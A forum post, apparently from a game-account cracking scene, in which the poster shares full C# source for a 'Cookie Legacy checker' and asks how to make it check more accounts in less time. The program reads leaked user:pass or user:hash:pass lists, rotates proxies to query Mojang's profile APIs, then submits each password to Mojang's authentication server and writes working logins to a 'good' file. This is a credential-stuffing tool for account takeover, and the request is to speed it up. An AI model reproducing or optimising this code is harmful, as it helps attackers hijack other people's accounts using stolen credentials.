How can I make my program check more in less time

  • Thread starter Thread starter BataBo Jokviu
  • Start date Start date
B

BataBo Jokviu

Guest
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;


namespace ConsoleApp3
{
class Program
{
static Regex idcheck = new Regex(@"id"":""(.+?)"",");
static Regex Migrationcheck = new Regex(@"legacy"":(.+?)}");





private static String _outputFileUnmigrated = "Unmigrated.txt";
private static String _outputFileMigrated = "Migrated.txt";
private static String _outputFileAvailable = "Available.txt";
private static String _outputValidationLog = "ValidationLog.txt";
private static String _outputUnmigratedGood = "UnmigratedGood.txt";
private static String _outputUnmigratedBad = "UnmigratedBad.txt";

static void Main(string[] args)
{
Console.Title = "Cookie Legacy checker | by BataBo | Checked: " + 0 + " | Good:" + 0;

[REDACTED]
Console.Write("Threads : ");
int threads = int.Parse(Console.ReadLine());

UserInput:
Console.WriteLine("Please specify the type of list.");
Console.WriteLine("Type 1 for user");
Console.WriteLine("Type 2 for user:pass");
Console.WriteLine("Type 3 for user:hash:pass");
Console.WriteLine("");
int ListType = int.Parse(Console.ReadLine());


if(ListType > 3)
{
goto UserInput;
}

Console.WriteLine("If you want only legacy type 0,if you want legacy+unmigrated type 1");
int CheckingMode = int.Parse(Console.ReadLine());

var lines = File.ReadLines("List.txt");
var UnmigratedNumber = 0;
var MigratedNumber = 0;
var AvailableNumber = 0;

using (StreamWriter UnmigratedGoodWriter = File.AppendText(_outputUnmigratedGood))
{
using (StreamWriter UnmigratedBadWriter = File.AppendText(_outputUnmigratedBad))
{
using (StreamWriter AvailableWriter = File.AppendText(_outputFileAvailable))
{
using (StreamWriter UnmigratedWriter = File.AppendText(_outputFileUnmigrated))
{
using (StreamWriter MigratedWriter = File.AppendText(_outputFileMigrated))
{
Parallel.ForEach(lines, name =>
{
string localPath = null;
if (ListType == 1)
{
localPath = name;
}
if (ListType == 2)
{
string pattern = @"\:.*";
string replacement = "";
localPath = Regex.Replace(name, pattern, replacement,
RegexOptions.IgnoreCase,
TimeSpan.FromSeconds(0.5));
}

if (ListType == 3)
{
string pattern1 = @":.*?:";
string replacement1 = ":";
string RemoveHash = Regex.Replace(name, pattern1, replacement1, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(0.5));
string pattern2 = @"\:.*";
string replacement2 = "";
localPath = Regex.Replace(RemoveHash, pattern2, replacement2, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(0.5));
}
// foreach (var line in lines)

var porxies = File.ReadLines("Proxies.txt");
args = new[]
{
"https://api.mojang.com/users/profiles/minecraft/" + localPath
};

using (var client1 = new WebClient())
{

var content = string.Empty;

foreach (var proxy in porxies)
{
WebProxy wp = new WebProxy(proxy.ToString());
client1.Proxy = wp;
try
{
content = ScrubContent(client1.DownloadString(args[0]));
break;
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.DarkRed;
Console.WriteLine("BAD PROXY {0}", proxy);
Console.WriteLine(ex.Message);

}
}

try
{
var idchecked = idcheck.Matches(content).Cast<Match>().Single().Groups[1];

args = new[]
{
"https://sessionserver.mojang.com/session/minecraft/profile/" + idchecked

};
}
catch (InvalidOperationException ex)
{


Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Available name " + localPath);
AvailableWriter.WriteLine(name);
AvailableNumber++;

}
using (var client2 = new WebClient())
{
var content1 = string.Empty;
foreach (var proxy in porxies)
{
WebProxy wp = new WebProxy(proxy.ToString());
client2.Proxy = wp;
try
{
content1 = ScrubContent(client2.DownloadString(args[0]));
break;
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.DarkRed;
Console.WriteLine("BAD PROXY {0}", proxy);
}
}

try
{
var migrationchecked = Migrationcheck.Matches(content1).Cast<Match>().Single().Groups[1];
Console.ForegroundColor = ConsoleColor.Green;

Console.WriteLine("UNMIGRATED " + localPath);
UnmigratedWriter.WriteLine(name);


UnmigratedNumber++;
Console.Title = "Cookie Legacy checker | by BataBo | Checked: " + (UnmigratedNumber + MigratedNumber) + " | Good:" + UnmigratedNumber;

if (ListType == 2 && CheckingMode == 1)
{
string password = null;
string pattern = @".+(\:)";
string replacement = "";
password = Regex.Replace(name, pattern, replacement,
RegexOptions.IgnoreCase,
TimeSpan.FromSeconds(0.5));

var httpWebRequest = (HttpWebRequest)WebRequest.Create("https://authserver.mojang.com/authenticate");
httpWebRequest.ContentType = "application/json";
httpWebRequest.Method = "POST";
using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
{
string json = "{" + "\r\n" + "\"agent\": {" + "\r\n" + " \"name\": \"Minecraft\"," + "\r\n" + " \"version\": 1" + "\r\n" + "}," + "\r\n" + "\"username\": \"" + localPath + "\"," + "\r\n" + "\"password\": \"" + password + "\"" + "\r\n" + "}";
streamWriter.Write(json);
streamWriter.Flush();
streamWriter.Close();
}
try
{
var httpResponse = (HttpWebResponse)httpWebRequest.GetResponse();
var streamReader = new StreamReader(httpResponse.GetResponseStream());
var result = streamReader.ReadToEnd();
Console.ForegroundColor = ConsoleColor.DarkMagenta;
Console.WriteLine("UNMIGRATED " + localPath + " is good");
UnmigratedGoodWriter.WriteLine(name);
}
catch (InvalidOperationException ex)
{
Console.ForegroundColor = ConsoleColor.Magenta;
Console.WriteLine("UNMIGRATED " + localPath + " is bad");
UnmigratedBadWriter.WriteLine(name);
}

}
if (ListType == 3 && CheckingMode == 1)
{
string pattern1 = @":.*?:";
string replacement1 = ":";
string RemoveHash = Regex.Replace(name, pattern1, replacement1, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(0.5));
string password = null;
string pattern = @".+(\:)";
string replacement = "";
password = Regex.Replace(RemoveHash , pattern, replacement,
RegexOptions.IgnoreCase,
TimeSpan.FromSeconds(0.5));

var httpWebRequest = (HttpWebRequest)WebRequest.Create("https://authserver.mojang.com/authenticate");
httpWebRequest.ContentType = "application/json";
httpWebRequest.Method = "POST";
using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
{
string json = "{" + "\r\n" + "\"agent\": {" + "\r\n" + " \"name\": \"Minecraft\"," + "\r\n" + " \"version\": 1" + "\r\n" + "}," + "\r\n" + "\"username\": \"" + localPath + "\"," + "\r\n" + "\"password\": \"" + password + "\"" + "\r\n" + "}";
streamWriter.Write(json);
streamWriter.Flush();
streamWriter.Close();
}
try
{
var httpResponse = (HttpWebResponse)httpWebRequest.GetResponse();
var streamReader = new StreamReader(httpResponse.GetResponseStream());
var result = streamReader.ReadToEnd();
Console.ForegroundColor = ConsoleColor.DarkMagenta;
Console.WriteLine("UNMIGRATED " + localPath + " is good");
UnmigratedGoodWriter.WriteLine(name);
}
catch (InvalidOperationException ex)
{
Console.ForegroundColor = ConsoleColor.Magenta;
Console.WriteLine("UNMIGRATED " + localPath + " is bad");
UnmigratedBadWriter.WriteLine(name);
}
}
}
catch (InvalidOperationException ex)
{

Console.ForegroundColor = ConsoleColor.Red;


Console.WriteLine("MIGRATED " + localPath);
MigratedWriter.WriteLine(name);


MigratedNumber++;
Console.Title = "Cookie Legacy checker | by BataBo | Checked: " + (UnmigratedNumber + MigratedNumber) + " | Good:" + UnmigratedNumber;
}

}
}







});
}
}
}
}
}
Console.WriteLine("");
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("====================Results====================");
Console.ForegroundColor = ConsoleColor.Blue;
Console.WriteLine("Checked: {0} accounts", UnmigratedNumber + MigratedNumber);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Unmigrated: {0} accounts", UnmigratedNumber);
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Migrated: {0} accounts", MigratedNumber);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Available: {0} names", AvailableNumber);
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("====================Results====================");
Console.ReadLine();
}

static string ScrubContent(string content)
{
return new string(content.Where(c => c != '\n').ToArray());
}
}
}
Do you have any suggestions to make my checker check more accounts in less time

Continue reading...
 
Back
Top